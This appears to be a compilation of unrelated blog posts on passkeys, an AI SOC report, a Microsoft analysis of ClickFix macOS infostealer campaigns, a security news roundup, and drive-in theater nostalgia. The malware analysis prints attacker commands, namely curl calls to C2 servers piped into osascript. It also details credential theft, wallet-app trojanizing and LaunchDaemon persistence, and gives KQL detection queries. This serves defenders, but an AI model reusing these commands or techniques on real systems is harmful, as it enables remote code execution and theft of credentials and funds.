Last year, Microsoft joined dozens of organizations in taking the Passkey Pledge, a commitment to accelerating the adoption of phishing-resistant authentication and to moving beyond passwords. Since then, we’ve seen meaningful progress, from hundreds of millions of better-protected consumer accounts to large-scale deployments across organizations like our own.

What once felt like a long-term shift is finally gaining real momentum: authentication is becoming simpler, safer, and passwordless.

For a more in-depth perspective on how cyberattackers try to bypass authentication through fallback methods and recovery flows—and how to address those gaps—read our companion post.

Getting started

Organizations that want to strengthen their identity security posture can enable passkeys for their users and extend policy protections across both sign-in and recovery scenarios.

Get started with a phishing-resistant passwordless authentication deployment in Microsoft Entra ID.

Individuals can create and use passkeys for their personal accounts for better security and convenience.

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity.

¹Microsoft Digital Defense Report 2025.

²FIDO Alliance reports mainstream global usage on World Passkey Day. FIDO Alliance, 2026.

³Synced passkeys and high assurance account recovery, Microsoft Entra blog. December 16, 2025.

⁴FIDO Alliance Champions Widespread Passkey Adoption and a Passwordless Future on World Passkey Day 2025, FIDO News Center. May 1, 2025.

⁵Microsoft Security and Future Initiative (SFI) Progress Report—November 2025.

The post World Passkey Day: Advancing passwordless authentication appeared first on Microsoft Security Blog.

Security operations are entering a new phase. As attack techniques grow faster and more complex, the effectiveness of a SOC depends less on collecting more data and more on how well platforms can turn context into action at scale.

KuppingerCole Analysts’ 2026 Emerging AI Security Operations Center (SOC) reflects this shift clearly: the future of security automation is not defined by static rules or isolated workflows, but by intelligence‑driven automation that supports analyst decision‑making across the full security lifecycle. This evolution mirrors what many security leaders already experience day to day, that the limiting factor is no longer alert volume, but human capacity.

Microsoft is excited to be named an Overall Leader, and the Market Leader, in this report, as we see automation as a core component of the future of cybersecurity.

From playbook‑driven SOAR to intelligence‑led automation

Traditional security orchestration, automation, and response (SOAR) solutions were built to automate predictable, repeatable tasks: enrichment steps, ticket creation, notifications, and predefined containment actions. These capabilities remain valuable, but they were designed for an era when incidents followed more deterministic patterns.

This is a critical change. In many SOCs today, analysts still spend significant time:

• Stitching together context across alerts and data sources.
• Manually triaging incidents that turn out to be benign.
• Following repetitive investigation and response steps.

The result is slower response times and analyst burnout—at exactly the moment attackers are moving faster and operating more quietly.

Automation built into the analyst experience

Microsoft has evolved the way these common challenges can be addressed, leveraging machine learning, large language models (LLMs), and agents, including releases such as:

• Automatic attack disruption: An always-on capability that limits lateral attackers and reduces the overall impact of an attack, from associated costs to loss of productivity, leaving security operations teams in complete control of investigating, remediating, and bringing assets back online.
• Phishing triage agent: An agent that runs sophisticated assessments—including semantic evaluation of email content, URL and file inspection, and intent detection—to determine whether a submission is a true phishing threat or a false alarm.
• AI powered incident prioritization: A machine learning prioritization model to surface the incidents that matter most, assigning each incident a priority score from 0–100 and explaining the key factors behind the ranking. 
• Playbook generator: An experience that allows users to create python-code playbooks using natural language for flexible workflow automation.

These capabilities are just the beginning of how we are introducing agents and automation to help users move faster, freeing analysts to focus on higher‑value tasks like proactive hunting and threat analysis.

The next evolution: The agentic SOC

The KuppingerCole report reinforces a broader industry trend, that security platforms must do more than automate pre‑defined workflows. They must support adaptive, intelligence‑driven operations that can respond to novel and fast‑moving threats.

This is where Microsoft is making its next set of investments: agentic security operations.

With innovations such as the Microsoft Sentinel MCP (Model Context Protocol) Server, shared security data and graph context, and deep integration with Microsoft Security Copilot, Sentinel is evolving into a platform where AI agents can:

• Reason across identity, endpoint, cloud, and network signals.
• Summarize incidents and investigations in natural language.
• Assist with decision‑making by correlating weak signals over time.
• Take action—with human oversight—when confidence thresholds are met.

These agents are designed to work alongside analysts, augmenting expertise and dramatically accelerating time to response.

Why this matters for security teams

The direction highlighted by KuppingerCole, and reflected in Microsoft’s roadmap, isn’t about chasing AI for its own sake. It’s about addressing real SOC pain points:

• Scale: Human‑only operations don’t scale with modern attack surfaces.
• Consistency: Automated and agent‑assisted workflows reduce variance and errors.
• Speed: Faster reasoning and response directly reduce attacker dwell time.

By combining automation, rich context, and intelligent agents, Microsoft Sentinel helps SOC teams move from reactive alert handling to proactive, intelligence‑led defense without forcing teams to re‑architect their operations overnight.

Looking ahead

Security automation is no longer a bolt‑on capability. As KuppingerCole’s research makes clear, it is becoming a foundational element of modern security operations. The evolution of SOAR reflects the reality of a shift from static playbooks to adaptive, context‑aware assistance that scales human expertise.

Microsoft is investing accordingly, advancing an AI‑first approach to security analytics that helps SOC teams operate with greater speed, confidence, and resilience as threats continue to evolve. Read the Emerging AI Security Operations Center (SOC) report to learn more.

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity.

The post ​​Microsoft named an overall leader in KuppingerCole Analyst’s 2026 Emerging AI Security Operations Center (SOC) report ​​ appeared first on Microsoft Security Blog.

Microsoft researchers continue to observe the evolution of an infostealer campaign distributing ClickFix‑style instructions and targeting macOS users. In this recent iteration, threat actors attempt to take advantage of users who are looking for helpful advice on macOS-related issues (for example, optimizing their disk space) in blog sites and other user-driven content platforms by hosting their malicious commands in these sites.

These commands, which are purported to install system utilities, load an infostealing malware like Macsync, Shub Stealer, and AMOS into the targets’ devices instead. The malware then collects and exfiltrates data, including media files, iCloud data and Keychain entries, and cryptocurrency wallet keys. In some campaigns, the malware replaces legitimate cryptocurrency wallet apps with trojanized versions, putting users at an added security risk.  

Prior iterations of this campaign delivered the infostealers through disk image (.dmg) files that required users to manually install an application. This recent activity reflects a shift in tradecraft, where threat actors instruct users to run Terminal commands that leverage native utilities to retrieve remotely hosted content, followed by script‑based loader execution.

Unlike application bundles opened through Finder—which might be subjected to Gatekeeper verification checks such as code signing and notarization—scripts downloaded and launched directly through Terminal (for example, by using osascript or shell interpreters) don’t undergo the same evaluation. This delivery mechanism enables attackers to initiate malware execution through user‑driven command invocation, reducing reliance on traditional application delivery methods and increasing the likelihood of successful execution.

In this blog, we take a look at three campaigns that use this new tradecraft. We also provide mitigation guidance and detection details to help surface this threat.

Activity overview

Initial access

Standalone websites were seen hosting pages that included a Base64-encrypted instruction for end users to run. Some sites present this information in multiple languages. As of this writing, these websites that we’ve observed are either already down or have been reported.

In other instances, content that included instructions leading to malware were observed to be hosted on Craft, a note-taking platform that lets writers and content creators take notes and distribute their content. We’ve observed that pages like macclean[.]craft[.]me were taken down relatively quickly.

Threat actors were also publishing fake troubleshooting posts on the popular blogging site Medium to distribute ClickFix instructions. These posts claim to solve common macOS problems. Blog sites such as macos-disk-space[.]medium[.]com instruct users to “fix” an issue by pasting a command into Terminal. The command then decodes and runs an AppleScript or Bash loader. These blogs were reported and taken down quickly.

We observed three distinct execution paths leveraging different infrastructure. We’re classifying these as a loader install campaign, a script install campaign, and a helper install campaign. In the loader and helper campaigns, we observed that a random seven-digit value (hereinafter referred to as random IDs), was used in data staging, marking the staging folders as /tmp/shub_<random ID> or/tmp/<random ID>.

The underlying goal remains the same in these campaigns: sensitive data collection, persistence, and exfiltration.

The following table summarizes the key differences between the campaigns. We discuss the details of each of these campaigns in the succeeding sections of this blog.

Loader install campaign

Since February 2026, Microsoft researchers have observed a campaign that requests a loader shell from the attacker’s infrastructure using curl once a user copies and runs ClickFix commands using Terminal. It leads to further execution of a second-stage shell script. 

This second shell script is a zsh loader that decodes and decompresses an embedded payload using Base64 and Gzip, respectively. It then executes the payload using eval.

The next-stage script also functions as a macOS reconnaissance and execution ‑control loader that first fingerprints the system by collecting the following information:

• Keyboard locale
• Hostname
• Operating system version
• External IP address

It then builds and sends a JSON object to an attacker‑controlled server containing an event name (loader_requested or cis_blocked) along with this telemetry. It also uses the presence of Russian/CIS keyboard layouts as a deliberate kill switch, reporting a cis_blocked event and stop the execution.

If the system isn’t blocked, the script silently beacons a “loader requested” event and then downloads and executes a remote AppleScript payload directly in memory using osascript.

AppleScript infostealer

This multi-stage macOS AppleScript stealer employs user interaction-based credential capture, conducts broad data collection across browsers, Keychains, messaging applications, wallet artifacts, and user documents, and stages the collected data into a compressed archive for exfiltration to a remote endpoint. The malware further tampers with locally installed applications to intercept sensitive data, establishes persistence through a masqueraded LaunchAgent that mimics legitimate software updates, and maintains remote command execution capabilities by periodically polling a server for instructions, which are executed at runtime.

Data collection:  tmp/shub_<random ID> staging

We observed that the stealer self-identifies as “SHub Stealer” (it writes the marker SHub into its staging directory). It prompts the target user to enter their password, pretending to install a “helper” utility. It then validates the entered password using the command dscl . -authonly <username>. Upon successful validation, it sends a password_obtained event to its C2 infrastructure.

The malware stages collected data under a /tmp/shub_<random ID>/ folder. The collected data includes:

• Browser credentials
• Notes
• Media files
• Telegram data
• Cryptocurrency wallets
• Keychain entries
• iCloud account data

The stealer also collects documents smaller than 2 MB and stages them within a FileGrabber repository located at /tmp/shub_<random ID>/FileGrabber/.

The targeted file types are:

• txt
• pdf
• docx
• wallet
• key
• keys
• doc
• jpeg
• png
• kdbx
• rtf
• jpg
• seed

Once the data collection is complete, data is compressed and exfiltrated. The stealer deletes staging artifacts to reduce forensic evidence.

Wallet exfiltration and trojanization

Subsequently, the stealer probes the system for the presence of any of the following cryptocurrency wallet applications:

• Electrum
• Coinomi
• Exodus
• Atomic
• Wasabi
• Ledger Live
• Monero
• Bitcoin
• Litecoin
• DashCore
• lectrum_LTC
• Electron_Cash
• Guarda
• Dogecoin
• Trezor_Suite
• Sparrow

When it finds any of these applications, it stages their data for exfiltration.

The stealer was also observed replacing legitimate cryptocurrency wallets apps with attacker-controlled or trojanized ones:

• Ledger Wallet.app is replaced by app.zip fetched from <C2 domain>/zxc/app.zip
• Trezor suite.app is replaced by apptwo.zip fetched from <C2 domain>/zxc/apptwo.zip
• Exodus.app is replaced by appex.zip fetched from <C2 domain>/zxc/appex.zip

These trojanized cryptocurrency wallet applications pose a serious risk to their users who might be unaware of the stealthy compromise and continue to use and transact with them.

Persistence

For persistence, the malware creates an additional script within the newly created ~/Library/Application Support/Google/GoogleUpdate.app/Contents/MacOS/ folder.

A malicious implant named GoogleUpdate is configured to RunAtLoad disguised as an agent. Microsoft Defender Antivirus detects this implant as Trojan:MacOS/SuspMalScript.

A new property list (plist), /Library/LaunchAgents/com.google.keystone.agent.plist,is then staged to run this agent.

The executable is then given permission to run with the following command:

Once com.google.keystone.agent.plist loads, it functions as a backdoor-style bot component that registers the infected macOS system with attacker infrastructure at <C2 domain>/api/bot/heartbeat, uniquely identifies the host using a hardware-derived ID, and periodically beacons system metadata such as hostname, operating system version, and external IP address.

The C2 server can return Base64-encoded instructions, which the script decodes and executes locally and deletes traces, enabling remote command execution on demand. This process creates a persistent remote-control channel, where the attacker could push arbitrary shell code to the infected device at any time.

Script install campaign

In April 2026, Microsoft researchers observed an ongoing campaign that runs a heavily obfuscated infostealer when users run it through Terminal.

The attack begins with a social‑engineering instruction containing a Base64‑encoded command.

When decoded, this instruction resolves a one‑line shell pipeline that retrieves a remote script, which is then handed off immediately for execution. By encoding the command and streaming its output directly into the shell, the attacker avoids placing a recognizable payload on disk during the initial stage.

The retrieved script.sh payload is launched directly from the network stream, with no intermediate file written to disk. It’s responsible for establishing persistence and deploying follow-on functionality. It delivers the second-stage Base64 encoded script under a plist staged at ~/Library/LaunchAgent/com.<random name>.plist.

The persisted AppleScript is heavily obfuscated in its original form (character ID concatenation). After decoding, the key logic follows:

This AppleScript functions as a C2 discovery and execution orchestrator for a macOS malware campaign. The AppleScript is used as the control layer and standard Unix tools for network interaction and execution. Its first role is C2 discovery. It iterates over a list of potential server identifiers (for example {0x666[.]info}), constructs candidate URLs (http://<value>/), and probes them using curl with a realistic Chrome macOS user agent and a benign POST body (-d “check”). This connectivity test is performed through the following command:

/usr/bin/curl -s -H “<User-Agent>” -d “check” –connect-timeout 5 –max-time 10 <candidate_url>

If none of the hard‑coded infrastructure responds successfully, the script falls back to Telegram‑based C2 discovery. It fetches a Telegram bot page using curl -s hxxps://t[.]me/ax03bot and extracts a hidden server identifier embedded in an HTML <span dir=”auto”> element using sed. This lets the attacker rotate C2 infrastructure dynamically.

Once a working C2 endpoint is identified, the script moves into execution orchestration. It sends a final POST request to the resolved server containing a transaction ID (txid) and module identifier, then immediately pipes the server response into osascript for execution:

curl -s -X POST <C2_URL> -H “<User-Agent>” -d “<txid>&module” | osascript

This command enables arbitrary AppleScript execution directly from the server, fully in memory, with no payload written to disk. Output and errors are suppressed, and execution only proceeds if all connectivity checks succeed. Overall, this isn’t a simple downloader but a resilient, infrastructure‑aware loader designed to dynamically discover C2 endpoints, evade takedowns, and execute attacker‑controlled AppleScript logic on demand.

We observed data exfiltration to the attacker’s infrastructure on a C2/upload.php endpoint leveraging curl.

Helper install campaign (AMOS)

Starting at the end of January 2026 , another ClickFix campaign relied on an executable file named helper or update to run. In this campaign, once a user ran the encoded ClickFix instructions, a first-stage script decoded a Base64 payload and then decompressed the payload using Gunzip.

The first-stage script led to the retrieval of the second stage-malicious Mach Object (Mach-O) executable into the newly created /tmp/<file name> folder.

In February 2026, this campaign retrieved the payload under a /tmp/update folder.

This malicious executable file has its extended properties removed and is then given permission to run and launch on the victim’s device.

Virtualization detection

The infection chain begins with an AppleScript based stager that uses array subtraction obfuscation to conceal its strings and commands. This stager performs an anti-analysis gate by invoking system_profiler and inspecting both memory and hardware profiles. Specifically, it searches for common virtualization indicators such as QEMU, VMware, and KVM. In addition to explicit hypervisor vendor strings, the script also checks for a set of generic hardware artifacts commonly observed in virtualized or analysis environments, including:

• Chip: Unknown
• Intel Core 2
• Virtual Machine
• VirtualMac

If any of these indicators are present, execution is terminated early, preventing further stages from running.

Data collection and exfiltration

Like the loader install campaign, the stealer prompts the user to enter their password. It validates locally whether the entered password is correct using dscl utility.

After capturing the target user’s password, the malware then focuses on stealing high-value credentials and financial artifacts. It copies macOS Keychain databases, enabling access to stored website passwords, application secrets, and WiFi credentials.

It also collects browser authentication material from Chromium‑based browsers, including saved usernames and passwords, session cookies, autofill data, and browser profile state that can be reused for account takeover. In addition, the script targets cryptocurrency wallets, copying data associated with both browser‑based and desktop wallets. This includes browser extensions such as MetaMask and Phantom, as well as desktop wallets including Exodus and Electrum.

 The stealer compresses collected data into a ZIP file /tmp.out.zip, which is then exfiltrated to a <C2 domain>/contact> endpoint. The stealer removes staging artifacts to reduce forensic evidence.

Wallet exfiltration and trojanization

Similar to the loader campaign, the stealer in the helper also replaces legitimate wallet apps with attackers-controlled ones:

• Ledger Wallet.app is replaced by app.zip fetched from <C2 domain>/zxc.app.zip.
• Trezor suite.app is replaced by apptwo.zip fetched from <C2 domain>/zxc/apptwo.zip

Backdoor deployment and persistence

To maintain long‑term access to infected systems, the helper campaign deploys a multi‑stage persistence mechanism built around two cooperating components: a primary backdoor binary and a lightweight execution wrapper.

Download and execution of the backdoor component (.mainhelper)

The persistence chain begins with the download of a second‑stage backdoor implant named .mainhelper into the current user’s home directory. As shown in Figure 22, the obfuscated AppleScript issues a network retrieval command that fetches this Mach‑O executable from an attacker-controlled endpoint (<C2 domain>/zxc/kito) and writes it as a hidden file under the user profile.

Once it’s given attributes and permissions to run, the /.mainhelper implant joins the compromised device to a C2 endpoint hxxp://45.94.47[.]204/api/. The implant executes tasks from the attacker, providing a remote-control capability to the attacker on the compromised system.

Creation of the execution wrapper (.agent)

In addition to the backdoor binary, the stealer creates a secondary file named .agent, also placed in the user’s home directory. Unlike .mainhelper, .agent isn’t a full implant. Instead, it is a lightweight shell wrapper whose sole purpose is to launch and supervise the .mainhelper process. The script writes the wrapper to disk and configures it so that, if the backdoor process terminates or crashes, .agent relaunches it.

LaunchDaemon installation (com.finder.helper.plist)

After prompting the victim for their macOS password and validating it, the script escalates privileges to establish system-level persistence. It constructs a LaunchDaemon plist, stages the XML content to a temporary file (/tmp/starter), and then writes it to /Library/LaunchDaemons/com.finder.helper.plist.

LaunchDaemon plist staging and loading

LaunchDaemon is configured to run /bin/bash with the path to ~/.agent as its argument, rather than invoking the backdoor binary directly. As shown in Figure 25, the script sets correct ownership, loads the daemon using launchctl, and enables both RunAtLoad and KeepAlive.

As a result, on every system boot, launchd runs the .agent wrapper with root privileges, which in turn ensures that the .mainhelper backdoor process is running.

Mitigation and protection guidance

Apple Xprotect has updated signatures to protect users against this threat. Additionally, in macOS 26.4 and later, Apple has introduced a mitigation that directly addresses the ClickFix delivery mechanism.

When a user attempts to paste a potentially malicious command into Terminal, they will now see the following prompt:

Possible malware, Paste blocked

Your Mac has not been harmed. Scammers often encourage pasting text into Terminal to try and harm your Mac or compromise your privacy. These instructions are commonly offered via websites, chat agents, apps, files, or a phone call.

Organizations can also follow these recommendations to mitigate threats associated with this threat:

• Educate users. Warn them against running instructions from untrusted sources.
• Monitor Terminal usage. Alert on suspicious Terminal or shell sessions spawned by installers or user apps.
• Detect native tool abuse. Flag unusual sequences of macOS utilities (curl, Base64, Gunzip, osascript, and dscl).
• Inspect outbound downloads. Monitor curl activity fetching encoded or compressed payloads from unknown domains.
• Protect credential stores. Detect unauthorized access to keychain items, browser data, SSH keys, and cloud credentials.
• Monitor data staging. Alert on archive creation of sensitive artifacts followed by HTTP POST exfiltration.
• Enable endpoint protection. Ensure macOS endpoint detection and response (EDR) or extended detection and response (XDR) monitors script execution and living‑off‑the‑land behavior.
• Restrict C2 traffic. Block outbound connections to suspicious or newly registered domains.

Microsoft also recommends the following mitigations to reduce the impact of this threat.

• Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a majority of new and unknown threats.
• Run EDR in block mode so that Microsoft Defender for Endpoint can block malicious artifacts, even when your antivirus does not detect the threat or when Microsoft Defender Antivirus is running in passive mode. EDR in block mode works behind the scenes to remediate malicious artifacts that are detected post-breach.
• Allow investigation and remediation in full automated mode to allow Defender for Endpoint to take immediate action on alerts to resolve breaches, significantly reducing alert volume.
• Turn on tamper protection features to prevent attackers from stopping security services. Combine tamper protection with the DisableLocalAdminMerge setting to mitigate attackers from using local administrator privileges to set antivirus exclusions.

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Threat intelligence reports

Microsoft Defender customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to help prevent, mitigate, or respond to associated threats found in customer environments.

Microsoft Defender threat analytics

From ClickFix to code signed: the quiet shift of MacSync Stealer malware.

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Hunting queries

Microsoft Defender

Microsoft Defender customers can run the following queries to find related activity in their networks:

Initial access

//Loader campaign installation
DeviceNetworkEvents
| where InitiatingProcessCommandLine has_any ("loader.sh?build=","payload.applescript?build=")

// Helper campaign installation
DeviceFileEvents
| where InitiatingProcessCommandLine  has_all("curl", "/tmp/helper","-o")

//Install of /update install campaign
DeviceFileEvents
| where InitiatingProcessCommandLine  has_all("curl", "/tmp/update","-o")
| where FileName== "update"

Exfiltration to C2 infrastructure

//loader campaign

DeviceProcessEvents
| where ProcessCommandLine has_all("curl", "post","/debug/event", "build_hash")

DeviceProcessEvents
| where ProcessCommandLine  has_all("curl","/tmp","post","-H","-f","build","/gate")
| where not (ProcessCommandLine has_any(".claude/shell-snapshots")) 

//script campaign 

DeviceNetworkEvents
| where InitiatingProcessCommandLine has_all ("curl","-F","txid","zip","max-time")

//helper campaign
DeviceProcessEvents
| where InitiatingProcessCommandLine has_all ("curl","post","-H","user","buildid","cl","cn","/tmp/")

Bot C2 installation and communication

//loader campaign - bot install
DeviceFileEvents
| where InitiatingProcessCommandLine =="base64 -d"
| where FolderPath endswith @"Library/Application Support/Google/GoogleUpdate.app/Contents/MacOS/GoogleUpdate"

//loader campaign – bot communication
DeviceProcessEvents
 | where ProcessCommandLine  has_all("/api/bot/heartbeat","post","curl")

//script campaign second stage execution 
DeviceProcessEvents
 | where ProcessCommandLine  has_all("curl","POST","txid","osascript","bmodule","max-time")

//helper campaign - bot install 

//Alternate query for helper or bot update installation
DeviceFileEvents
| where  InitiatingProcessCommandLine has_all ("curl","zxc","kito")

DeviceProcessEvents
| where InitiatingProcessFileName =="osascript"
| where  ProcessCommandLine  has_all ("sh","echo","-c", "cp","/tmp/starter",".plist")

Indicators of compromise

Domains distributing ClickFix

Loader campaign

Script campaign

Helper campaign

Update campaign infrastructure

Persistence and bot execution

Payloads

File indicators of attack

References

• Fake CleanMyMac site installs SHub Stealer and backdoors crypto wallets. Malwarebytes labs (published 2026-03-06)
• Malvertising Campaign Spreads AMOS ‘malext’ macOS Infostealer via Fake Text-Sharing Ads. gbhackers (published 2026-03-03)
• ClickFix Is Targeting Mac Users Through Google Ads and Fake AI Guides. IzooLogic(published 2026-02-18)
• Phantom in the vault: Obsidian abused to deliver PhantomPulse RAT. elastic security (published 2026-04-13)
• https://www.iru.com/blog/atomic-stealer-amos-returns (published 2026-03-31)

This research is provided by Microsoft Defender Security Research with contributions from Arlette Umuhire Sangwa, Kajhon Soyini, Srinivasan Govindarajan, Michael Melone, and  members of Microsoft Threat Intelligence.

Learn more

• For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.
• To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.
• To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post ClickFix campaign uses fake macOS utilities lures to deliver infostealers appeared first on Microsoft Security Blog.

JDownloader Supply Chain Attack Delivers Python RAT Malware

Popular download manager JDownloader fell victim to a supply chain attack earlier this week. Attackers breached the official website via an unpatched security flaw and altered download links for Windows “Alternative Installer” and the Linux shell installer between May 6–7, 2026 (UTC).

Legitimate installers were not modified, but links pointed to malicious payloads. The Windows version deployed a heavily obfuscated Python-based Remote Access Trojan (RAT) capable of executing attacker-supplied code. The Linux payload injected code to download additional malware, set up a SUID-root launcher, and masqueraded as a legitimate system process (/usr/libexec/upowerd).

Impact and Advice: Anyone who downloaded via the affected links during that window should scan their systems immediately. JDownloader restored clean links, took the site offline briefly for remediation, and hardened configurations. This incident underscores the risks of trusting even well-known project sites—verify downloads with hashes when possible and monitor for unusual processes.

cPanel & WHM Patch Three New Vulnerabilities Amid Recent Exploits

cPanel and WHM released fixes for three vulnerabilities that could enable arbitrary file reads, Perl code execution, privilege escalation, and denial-of-service attacks.

• CVE-2026-29201 (CVSS 4.3): Insufficient input validation leading to arbitrary file read.

• CVE-2026-29202 (CVSS 8.8): Plugin parameter flaw allowing Perl code execution.

• CVE-2026-29203 (CVSS 8.8): Unsafe symlink handling for permission changes and potential escalation/DoS.

These come shortly after active exploitation of another cPanel zero-day (CVE-2026-41940) used to deploy Mirai variants and “Sorry” ransomware. Updates are available across multiple version branches—admins should patch urgently.

Key Takeaway: Web hosting panels remain high-value targets. Apply updates promptly and follow least-privilege principles.

Let’s Encrypt Halts Certificate Issuance Due to Cross-Signed Root Issue

On May 8, 2026, Let’s Encrypt temporarily suspended all certificate issuance (production and staging) after detecting a problem with a cross-signed certificate linking their Generation X root to the upcoming Generation Y root infrastructure.

Engineers shut down issuance at ~18:37 UTC as a precaution; service was restored within hours by rolling back affected profiles to the Generation X root. No widespread outages for existing certificates occurred, but new issuances were briefly impacted.

Lessons: Even major certificate authorities face operational hiccups during infrastructure transitions. Monitor renewal processes and have backup CAs ready for critical services. This was resolved quickly, highlighting proactive incident response.

AI Agent Supply Chain Risks Highlighted (ClawHavoc Campaign)

Recent discussions flagged ongoing concerns around the ClawHavoc campaign targeting OpenClaw (an open-source AI agent framework) via its ClawHub skill marketplace. Hundreds of fake “skills”/plugins were poisoned with trojans, credential stealers (e.g., Atomic Stealer), and keyloggers, often using social engineering like ClickFix techniques.

Reminder: In the AI ecosystem, avoid blindly installing third-party extensions or skills—prefer building your own or thoroughly vetting sources. Supply chain attacks on developer tools and agent marketplaces are rising.

Other Quick Notes

• Ransomware activity continues, with claims like Killsec targeting entities (e.g., Mrs Holdings in Nigeria).

• Broader trends: Focus on OSINT toolkits, autonomous pentesting frameworks, and cloud/DeFi vulnerabilities (e.g., DeepBook Protocol undercollateralization incident).

Bottom Line for Today: Supply chain attacks and unpatched web/hosting tools dominate the chatter. Prioritize updates, verify downloads, and treat third-party extensions (especially AI-related) with skepticism. Stay vigilant—cyber threats evolve fast.

What stands out to you from today’s hits?

Picture this: It’s a warm summer evening in the 1950s or ‘60s. Your family piles into the station wagon with blankets, pillows, and a cooler packed with homemade snacks. Dad backs the car into just the right spot at the drive-in, hooks up the tinny speaker to the window, and you settle in for a double feature. The first movie is a family adventure; the second might be something a little scarier once the little ones doze off. Stars twinkle overhead, crickets chirp, and mosquitoes buzz—reminders that you’re outside, part of something bigger than your living room.

That was the golden age of American drive-ins. At their peak in the late 1950s, there were nearly 4,000 to 5,000 across the U.S., thriving as perfect family (and date-night) entertainment during the post-war boom, suburban explosion, and car culture heyday.

The Irreplaceable Magic of the Drive-In

Drive-ins weren’t just about watching movies—they were an experience.

• Double features for the win: For the price of one ticket (often per carload), you’d get two films. New releases first, followed by something fun or B-movie glorious. No rushing out after the credits; you’d stretch, chat with neighbors, or let the kids run around the playground before the second show.

• Family car adventures: Pajamas for the kids. Snacks from home (or the concession stand). Everyone together in one vehicle, sharing laughs, gasps, and whispered commentary. It was affordable entertainment that fit the whole brood—no babysitter required.

• The great outdoors (mosquitoes included): Fresh air, the hum of projectors, distant laughter from other cars, and that massive screen glowing against the night sky. It felt communal yet private. You could honk for applause, stay in your PJs, or even bring the dog.

It was imperfect and charming: sound quality via those window speakers (later improved with FM radio), occasional rain on the windshield, and yes, bugs. But those “flaws” made it real and memorable in ways polished indoor theaters or home setups rarely match.

What We’ve Lost in the Age of Streaming

Fast-forward to today. Most evenings involve dimming the lights, firing up Netflix, Disney+, or whatever, and scrolling for something to watch—alone or with a partner on the couch. It’s convenient, sure. Infinite choice. Pause anytime. No lines, no travel, no $20 popcorn.

But compare that to the drive-in:

• Sterile isolation: Streaming is solitary even when “together.” Everyone’s on their phone, multitasking, or half-watching. No shared big-screen awe or collective gasps.

• Lost ritual and adventure: No loading up the car, finding the perfect spot, or timing arrival for sunset. No double features as a built-in value. Movies feel disposable when they’re one click away.

• Eroded community: Drive-ins fostered casual connections—waving at other families, kids playing between shows. Streaming nights reinforce the bubble. We’ve traded serendipity and shared cultural moments for algorithmic recommendations and endless options that often leave us undecided.

The decline was inevitable: color TVs, VCRs, the oil crisis, rising land values (those big lots were prime for malls and housing), and multiplexes. From thousands of screens to roughly 300–350 operating today in the U.S., drive-ins became nostalgia relics—though a few survivors and pandemic-era pop-ups proved the hunger remains.

What we lost isn’t just entertainment; it’s a slice of American cultural fabric: outdoor joy, family bonding without screens dominating, and the simple thrill of gathering under the stars.

Ways We Can Get It Back

The good news? Drive-ins aren’t dead—they’re evolving, and we can recreate elements of the magic even without a full revival.

Support and revive real drive-ins:

• Seek them out. Many remaining spots (like Bengies in Maryland or 99W in Oregon) offer modern upgrades: better sound via car radios, digital projectors, and themed nights.

• Advocate locally. Communities can push for preservation or new builds on outskirts where land is cheaper.

DIY home or neighborhood drive-ins:

• Projector + inflatable or sheet screen in the backyard. FM transmitter for car audio if you want authenticity. Invite neighbors for a true communal vibe.

• Themed nights: Classic cars, 1950s dress-up, food trucks, or double features of family favorites.

Modern twists on the classic:

• Pop-up drive-ins in parks or lots using trucks and portable screens.

• Tech upgrades: High-quality projectors, Bluetooth sound, even silent disco-style headphones for bigger events.

• Hybrid experiences: Stream new releases at drive-ins or partner with services for exclusive outdoor premieres.

• Community events: Churches, schools, or clubs hosting family drive-in style nights to rebuild that shared ritual.

Even simple acts—like planning a “car movie night” with the family in the driveway—recapture a bit of the spirit.

Rediscover the Magic

In our hyper-convenient, screen-saturated world, drive-ins remind us that the best experiences aren’t the most polished or private. They’re the ones with fresh air, minor inconveniences (hello, mosquitoes), and real human connection.

This summer, skip the endless scroll for one night. Hunt down a drive-in, set up a backyard screening, or just pile into the car with blankets and snacks. Double feature optional. The adventure is what matters.

What memories do you have of drive-ins? Share in the comments—we’d love to hear how they shaped your family stories. And if we band together to support them, maybe those glowing screens under the stars won’t fade into history after all.

Roll down the windows, tune in the radio, and enjoy the show.